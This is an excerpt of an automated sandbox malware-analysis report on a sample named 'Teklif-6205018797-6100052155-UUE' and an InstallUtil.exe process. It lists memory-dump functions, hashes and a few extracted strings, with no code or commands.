Function 05986130 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9004fdcb443132b62fcf15140d059dbef860bc9080775abebee8d6308ea2458f
Instruction ID: 738cdcc6d75910d966605f0ef9c6736c31b06235a9ab146974a4828e53a59de9
Opcode Fuzzy Hash: 9004fdcb443132b62fcf15140d059dbef860bc9080775abebee8d6308ea2458f
Instruction Fuzzy Hash: 16515770E05208CFDB14EFA8E544BEDBBF2FB9A300F24806AD409AB255C7346955CF04

Function 05986140 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 414a5131c531ad25e566fed544f056699e702cba214cc502b4c46736afeb1bef
Instruction ID: bdd12dde759156466c022f6d503ddeaa80222e5fc460cc358f7cbd175077adee
Opcode Fuzzy Hash: 414a5131c531ad25e566fed544f056699e702cba214cc502b4c46736afeb1bef
Instruction Fuzzy Hash: 34514470E05208CFDB14EFA8E544BFDBBF6EB9A300F20946AE409AB255CB346955CF04

Function 05A00006 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce9e1441798a7db915866b32c38d6bf2c214da0345b52384aba836978c1d05c
Instruction ID: 1c95416da6507802f4a6f4ea40a382943bb672e8069abbd8ae1c3074267a07ca
Opcode Fuzzy Hash: 3ce9e1441798a7db915866b32c38d6bf2c214da0345b52384aba836978c1d05c
Instruction Fuzzy Hash: F0516071D056588BE729CF2B8D546DAFBF3AFC9300F48C1FA944CAA265DA7405868F41

Function 05855318 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b73b60ec7ef7236bbc64f094bd57b960c6239a96ca1e87c5b913a9defe84a61
Instruction ID: 1d2cabce897ff393a56779a662d5eb7f8581f28d63d41389a387fb47566278b9
Opcode Fuzzy Hash: 0b73b60ec7ef7236bbc64f094bd57b960c6239a96ca1e87c5b913a9defe84a61
Instruction Fuzzy Hash: 5C4156B1E016198BDB18CFABD94059EFBF3AFC8310F14C07AD958AB264DA3459468F54

Function 05A00040 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c80a7ba8b39421bd9d558daa36598a4dc061d3182c2b0a6a805cf913643034
Instruction ID: ce105124138009df00ee5be634d13c740a1e74cd8476b9233a068a8f89bf1bb3
Opcode Fuzzy Hash: 23c80a7ba8b39421bd9d558daa36598a4dc061d3182c2b0a6a805cf913643034
Instruction Fuzzy Hash: 9D511BB1D056588BEB68CF2B8D446DAFAF3AFC9300F54C1FA984CA6254DB700AC58F51

Function 05A0D3E0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dafba9d6751dfff4052241e393a562ee18051950ccaf86ba160ac5824b50402c
Instruction ID: 69aaaeeb01561445a0c88b4cce4ba89cbf02dafd734b8e703ed39be4c6fe6542
Opcode Fuzzy Hash: dafba9d6751dfff4052241e393a562ee18051950ccaf86ba160ac5824b50402c
Instruction Fuzzy Hash: C041E0B5D142489FDB14CFE9D884BADFBF1BB09304F209029E829BB290D775A885CF45

Function 05856D19 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 708f1090824965ce9497f032ec259ffcc9426f65ab0589379f09cb9228703e77
Instruction ID: ceb9a9ec1a6f570ba05decb84215e7ff4fbe7b70f0eaf0a4b378d70ec2f7510d
Opcode Fuzzy Hash: 708f1090824965ce9497f032ec259ffcc9426f65ab0589379f09cb9228703e77
Instruction Fuzzy Hash: 7D415D71E05A588BEB58CF6BCC4469AFBF3BFC9311F54D1B99848AA255EB3009428F01

Function 05960578 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f52ecaabd206d36bc6039a83927cfe4019dae8ae1f653d25b7d2ad94c8257f
Instruction ID: 65c582b84fd978ae4fb04ac194d39af125fc08a2a7bfdb4d7a1365519ad014ce
Opcode Fuzzy Hash: e1f52ecaabd206d36bc6039a83927cfe4019dae8ae1f653d25b7d2ad94c8257f
Instruction Fuzzy Hash: 1141D0B5D052589FCB00CFAAD484AEEFBF4BF49310F14946AE415B7240C738AA49CFA4

Function 05960580 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded31553a53c1b175e508819cf24cc594aa22cde8763b8a06a0292c1ad2fe6b3
Instruction ID: 3c318d1b862db812f2bdaf4b49f07f39acf47ae64052a00ba57747d9b191c1d8
Opcode Fuzzy Hash: ded31553a53c1b175e508819cf24cc594aa22cde8763b8a06a0292c1ad2fe6b3
Instruction Fuzzy Hash: 5A41D0B5C052589FCB00CFAAD484AEEFBF4BF49310F14946AE415B7240C738AA49CFA4

Function 0598C319 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27efadf0725ca3cb0c7278829524766f8efcda64d1db1603241bb5cdf45feb99
Instruction ID: 78090fbe01f8155a0819d0660c94491d59d7bd6fcbf5c358604f6e24f58d9ee7
Opcode Fuzzy Hash: 27efadf0725ca3cb0c7278829524766f8efcda64d1db1603241bb5cdf45feb99
Instruction Fuzzy Hash: 0021DCB5D142189FCB14DFA9D980AEEFBF5FB49310F10902AE809B7250CB35A945CFA4

Function 0598C320 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a139c8008428f34171c56a881144e98c369bd3c6a180ae346599817b9a19549
Instruction ID: 9597baf96af39059dcc917978b86008d2cf14a76d9e056e73557a1948b5eb18b
Opcode Fuzzy Hash: 5a139c8008428f34171c56a881144e98c369bd3c6a180ae346599817b9a19549
Instruction Fuzzy Hash: C021BCB5D142189BCB14DFA9D980AEEFBF5FB49310F10901AE809B7210C735A945CFA5

Function 05989F58 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7ed521c5b2ad5d03b811216235ca9620952e9302a7d1babf147b7d1346a13d
Instruction ID: 84e75be1faf299849d69c731cc15772df0c3d11f00d17d7c3b2d6b064f6ae68c
Opcode Fuzzy Hash: 0e7ed521c5b2ad5d03b811216235ca9620952e9302a7d1babf147b7d1346a13d
Instruction Fuzzy Hash: 222115B1D056188BEB28CF9BC8447EEFAF7AFC9300F14C06AD408AB254DB75494A8F51

Function 05989F68 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5a70bb2863b60bafbaaa2dc605118d485538146079a3ea4c517b51c027ac788
Instruction ID: 6ddd50b36a184a65e7aefe0abbbd8746d49371135cb529847646888de1595834
Opcode Fuzzy Hash: a5a70bb2863b60bafbaaa2dc605118d485538146079a3ea4c517b51c027ac788
Instruction Fuzzy Hash: B721B4B1E056188BEB18CF9BD8447EEFBF7AFC9310F14C06AD409AA254DB7509458F51

Function 05A0EB58 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60b8fad41b1236cb5e3b47ad146caf7178279f8587cf9a4b5e9e7147a08e5b8
Instruction ID: 70d9fa47b9a53f754387ab5a6b4ff76de57d6df1fa74b98940473ca6bb7467a5
Opcode Fuzzy Hash: c60b8fad41b1236cb5e3b47ad146caf7178279f8587cf9a4b5e9e7147a08e5b8
Instruction Fuzzy Hash: 3F21B971D146688BDB28CF5B9D046DEBBF7AFC9300F04D4A9D809AA268DB714985DE40

Function 05C7003B Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2665735e440d747563905b8c4a4d4d171ef06ede69f21ce2cc0fa9b412c7e4ad
Instruction ID: 38c1395caa1aa1a18c21e06b1e72eb2f99a531954e6905ca750258bac3ea5189
Opcode Fuzzy Hash: 2665735e440d747563905b8c4a4d4d171ef06ede69f21ce2cc0fa9b412c7e4ad
Instruction Fuzzy Hash: E5219A71D046198BEB68CF2B8C5879ABAF7AFC4310F04C5EA940CA6255EB740A858F55

Function 05960697 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a520f0abf3a8c18fbaa739af0c913d2cfe58b58c8abb29c1718d58e2e91e84
Instruction ID: 658211024d952ebc07b777a903d662afbb6af448b2e0608ca0f70b5a4af432d7
Opcode Fuzzy Hash: 02a520f0abf3a8c18fbaa739af0c913d2cfe58b58c8abb29c1718d58e2e91e84
Instruction Fuzzy Hash: D7118876D052189FCB00DFA5E8887EDBBF1EB49325F185066E804B3251C738AA59CB68

Function 05C89770 Relevance: 10.1, Strings: 8, Instructions: 149COMMON

Download Yara Rule

Strings

-, xrefs: 05C8A227
2, xrefs: 05C897C0
%, xrefs: 05C89F37
(o]q, xrefs: 05C8985A
\s]q, xrefs: 05C8987C
*, xrefs: 05C89E64
(o]q, xrefs: 05C89E52
(o]q, xrefs: 05C89844

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: %$(o]q$(o]q$(o]q$*$-$2$\s]q
API String ID: 0-2751159437
Opcode ID: 3111656a76191850a9e9b864dbffa63fa298b0a4e5bb4650cbb19b903a7ec0ab
Instruction ID: e3f98012525a040f7d4ad08242f417c02fb3162933c93581c0ac96b387febae6
Opcode Fuzzy Hash: 3111656a76191850a9e9b864dbffa63fa298b0a4e5bb4650cbb19b903a7ec0ab
Instruction Fuzzy Hash: F561E374D0422CCFDB65DF69C848BAEBBF2BF49305F1089AAD40AA7254DB705A84CF51

Function 05939320 Relevance: 7.7, Strings: 6, Instructions: 153COMMON

Download Yara Rule

Strings

4']q, xrefs: 0593946A
4']q, xrefs: 059393D4
4']q, xrefs: 059393A4
(aq, xrefs: 059394EA
4']q, xrefs: 059393F2
paq, xrefs: 05939477

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$4']q$4']q$4']q$4']q$paq
API String ID: 0-463314800
Opcode ID: ec89f0f07a52d5e1231c7a25b58ae7a60acacea77601ea687f6eec49c1d80ef1
Instruction ID: cc5a6c039d45eba6d91ce925c7f7318d18a631c1a8088917fb8904d71eab5f4e
Opcode Fuzzy Hash: ec89f0f07a52d5e1231c7a25b58ae7a60acacea77601ea687f6eec49c1d80ef1
Instruction Fuzzy Hash: 4F518570A402058FD758DF69995076FBAEBFFC8300F148928D44597399DF78AD06C7A1

Analysis Process: InstallUtil.exePID: 6972, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	6

Executed Functions

Function 02429C70 Relevance: 3.0, Instructions: 3020COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc35d0326d444678a485320cd1f1dee2a29fb46af395ed351c9e046d9bf1d74
Instruction ID: a5ce6258acfa37d07ac2b8f02fcda3dc717e6c598da7d2ef3f4f9dce38849f61
Opcode Fuzzy Hash: 9fc35d0326d444678a485320cd1f1dee2a29fb46af395ed351c9e046d9bf1d74
Instruction Fuzzy Hash: F6630D31D10B198ACB11EF69C8846ADF7B1FF99300F55C69AE45877221EB70AAD4CF81

Function 0242CF28 Relevance: 2.3, Instructions: 2293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bdc93d21d3eb5f3c7c86967b3c59e36fc0b6381620fd25e42841a7aa18dbc51
Instruction ID: 9a384f08cb734c8256939543471647e5ae6dfa485c9b8da425f896481895fb57
Opcode Fuzzy Hash: 8bdc93d21d3eb5f3c7c86967b3c59e36fc0b6381620fd25e42841a7aa18dbc51
Instruction Fuzzy Hash: 27332F31D107198ECB11EF69C8846AEF7B1FF99300F55C79AD448A7221EB70AAC5CB81

Function 02429C68 Relevance: 2.0, Instructions: 2007COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9fc64b870ee8500300a6ba5f691b07adbb8a41d5123dd0cd1395866de58f76a
Instruction ID: 563a3b55b9672bbf9111a0e5a55c91b6d4d4aa87d7dc23eb963ff773bab77b9d
Opcode Fuzzy Hash: a9fc64b870ee8500300a6ba5f691b07adbb8a41d5123dd0cd1395866de58f76a
Instruction Fuzzy Hash: 3823EA31D10B1A8ADB11EF69C8506A9F7B1FF99300F51D79AE44877221EB70AAD4CF81

Function 02423E48 Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V_l, xrefs: 02424093

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V_l
API String ID: 0-2978566636
Opcode ID: 5ca3853370ceb9e55861ba7e28ee5cd479253bacac7ea5bb9bec0f8c4ab89a6a
Instruction ID: ae9c2e1856a8ffb987ed7e690016613dda21c913fbfec8a5e65104b142fce875
Opcode Fuzzy Hash: 5ca3853370ceb9e55861ba7e28ee5cd479253bacac7ea5bb9bec0f8c4ab89a6a
Instruction Fuzzy Hash: 4A915F70E002199FDF14CFAAC98579EBBF2EF88308F54812AE415A7354EB749889CF45

Function 024293F8 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc01e8386c31063b3b4247de08fd743f4ce70e91a82802542041d9931622a802
Instruction ID: bc3a8b67699a51be62f3a93d98db8cea3ace702e731cee6c4d8eb166af0963ed
Opcode Fuzzy Hash: bc01e8386c31063b3b4247de08fd743f4ce70e91a82802542041d9931622a802
Instruction Fuzzy Hash: 55327C35A002158FDB14DF69D584BAEBBB2FF88310F64856AE909DB395DB30DC49CB90

Function 02424A60 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c49a2848840f78fc573ad9f6e65560dbf15d43c8a7ecf04b3c70fefdae57a3
Instruction ID: 096792c71e411a5073c321cbf235bdcbba059a5d09ff5bda10b769c179fdf704
Opcode Fuzzy Hash: b6c49a2848840f78fc573ad9f6e65560dbf15d43c8a7ecf04b3c70fefdae57a3
Instruction Fuzzy Hash: 58B15E70E00219CFDB14CFAAD98179EBBF2EF88314F54852AD415E7354EB749889CB91

Function 02426EA1 Relevance: 2.6, Strings: 2, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR]q, xrefs: 02426F5C
LR]q, xrefs: 02426ED6

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: 450a69cea54f937ee0d1dc77aa2e2d9cca779d14693ff58cfda1ffa2642b5bd8
Instruction ID: 281d4855836474fadb77691500e5144e60672b64e3edae9bfb9fd22c4810e5a5
Opcode Fuzzy Hash: 450a69cea54f937ee0d1dc77aa2e2d9cca779d14693ff58cfda1ffa2642b5bd8
Instruction Fuzzy Hash: BB51B370E002199FDF25DF6AC4507AEBBB6EF85300F52846AE406EB341EB759C4ACB41

Function 05C0E0A0 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2458107054.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5c00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bafde23f56d8f07d6d1bc87ef93516e98564a137b781621077ffe72bf21c97f
Instruction ID: 732d98d3e8299e1d693a6039ea976aa1022041ebfe8c5f662a101caec26abe3d
Opcode Fuzzy Hash: 4bafde23f56d8f07d6d1bc87ef93516e98564a137b781621077ffe72bf21c97f
Instruction Fuzzy Hash: 53412272E003598FCB00DFA9D8443AEBBF5AF89310F15892AD409AB381DB749981CBD0

Function 05C0D808 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,05C0E0F2), ref: 05C0E1DF

Memory Dump Source

Source File: 00000002.00000002.2458107054.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5c00000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: fdb41c8ccff97d3ce4fb35a2900387feb1f4f0a2e5dedfedbdd91ea08a1d28f8
Instruction ID: 98bd716b6376423c4850c37edab88225ae3c1aab73de40a0afeee3fd3b77b256
Opcode Fuzzy Hash: fdb41c8ccff97d3ce4fb35a2900387feb1f4f0a2e5dedfedbdd91ea08a1d28f8
Instruction Fuzzy Hash: C21103B1D006599BCB10DF9AC4446AEFBF8EF48310F14856AE818A7241D778AA44CFE5

Function 02423E3C Relevance: 1.5, Strings: 1, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V_l, xrefs: 02424093

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V_l
API String ID: 0-2978566636
Opcode ID: 67cd4d6f9aa120443ae917e9002a6a73c62edfe02df49ec347e6316dffdab8d6
Instruction ID: fb750fad62af220c85bb31fd1c758d0e26dc94e4c0ecad83c77d3ca6c801ce49
Opcode Fuzzy Hash: 67cd4d6f9aa120443ae917e9002a6a73c62edfe02df49ec347e6316dffdab8d6
Instruction Fuzzy Hash: 9E914D70E00229DFDB10CFAAD98579EBBF1EF48308F54812AE419A7394DB749889CF55

Function 0242F48D Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0242F5DB

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: c5a6ac52bff65ec4d544c9aa29baa44d2a90e073173a1e1f5c5cbb40d1293599
Instruction ID: c7084d480e97565080146c088e557951c856460d7e34e6e03a8c81d67cb8c55f
Opcode Fuzzy Hash: c5a6ac52bff65ec4d544c9aa29baa44d2a90e073173a1e1f5c5cbb40d1293599
Instruction Fuzzy Hash: 0231D130B002158FDB29AF74D95066E3BF6AF89204F944579D006DB356DF78CD8AC790

Function 0242F4A0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0242F5DB

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 62736ec88c0a5b8879284addd631a3d0ca093da0d7bc21f30b1734e211f42f8b
Instruction ID: cc2bd64658d45b2a3d4d7f0156e032af9a7eca6262492b389684d8ebe066dcd5
Opcode Fuzzy Hash: 62736ec88c0a5b8879284addd631a3d0ca093da0d7bc21f30b1734e211f42f8b
Instruction Fuzzy Hash: C731DC30B002158FDB28AF34D65066F3ABAAF85200FA44479D406DB39ADF74DD4ACB95

Function 02426F40 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

LR]q, xrefs: 02426F5C

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 9a1d02beb2c899637b1a2934f21242c6f78f64682dc3c788c25fe141825e8dc1
Instruction ID: b04491f707a174f6cedbf9ef4e9f211476c55123b8b3d1f60861490a65d63fa6
Opcode Fuzzy Hash: 9a1d02beb2c899637b1a2934f21242c6f78f64682dc3c788c25fe141825e8dc1
Instruction Fuzzy Hash: AD316F71E102298BEF25CFA6C45079EB7B5FF85314F62852AE406EB340D7B5D84ACB41

Function 02426B48 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

LR]q, xrefs: 02426B9F

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: fd4bee07878f2145958f8624f0502522bffba4fb70503904a946aad07f3fe4d5
Instruction ID: 4fe5cd466df18b8f7aa0f780eb223689de82192ca6ade52fcf7881f34cb3c298
Opcode Fuzzy Hash: fd4bee07878f2145958f8624f0502522bffba4fb70503904a946aad07f3fe4d5
Instruction Fuzzy Hash: B02126726042604FC715AB3DE4657EE3BA5DFC5304F4544ABC145CB296EA29C84EC791

Function 024291D1 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

U, xrefs: 024291DD

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 6be706839645dc0e2fcd5026263cfaa435660c5af9422e70cf1e621629f79ace
Instruction ID: a8392b3cb410d385d326a9804f3698656bcf8cc1920cccbf680307a9f48172c1
Opcode Fuzzy Hash: 6be706839645dc0e2fcd5026263cfaa435660c5af9422e70cf1e621629f79ace
Instruction Fuzzy Hash: F821B835E006199BDB04CFA5C454ADEBBB1AF85310F60C91AEC15BB340DB709947CB51

Function 02427988 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593f544c506acc76324d51b6ddca7a8c0a503a770584c553c52a27de9becbc35
Instruction ID: d365efaeb128da8e305ac635c5664843f00684f9c102bfbbfb12b283393c2536
Opcode Fuzzy Hash: 593f544c506acc76324d51b6ddca7a8c0a503a770584c553c52a27de9becbc35
Instruction Fuzzy Hash: 43127EB87401018FDB29AB38E555A2D72A6EBC5300F518A3AE406CB765CF75DC4FDB90

Function 02424A54 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
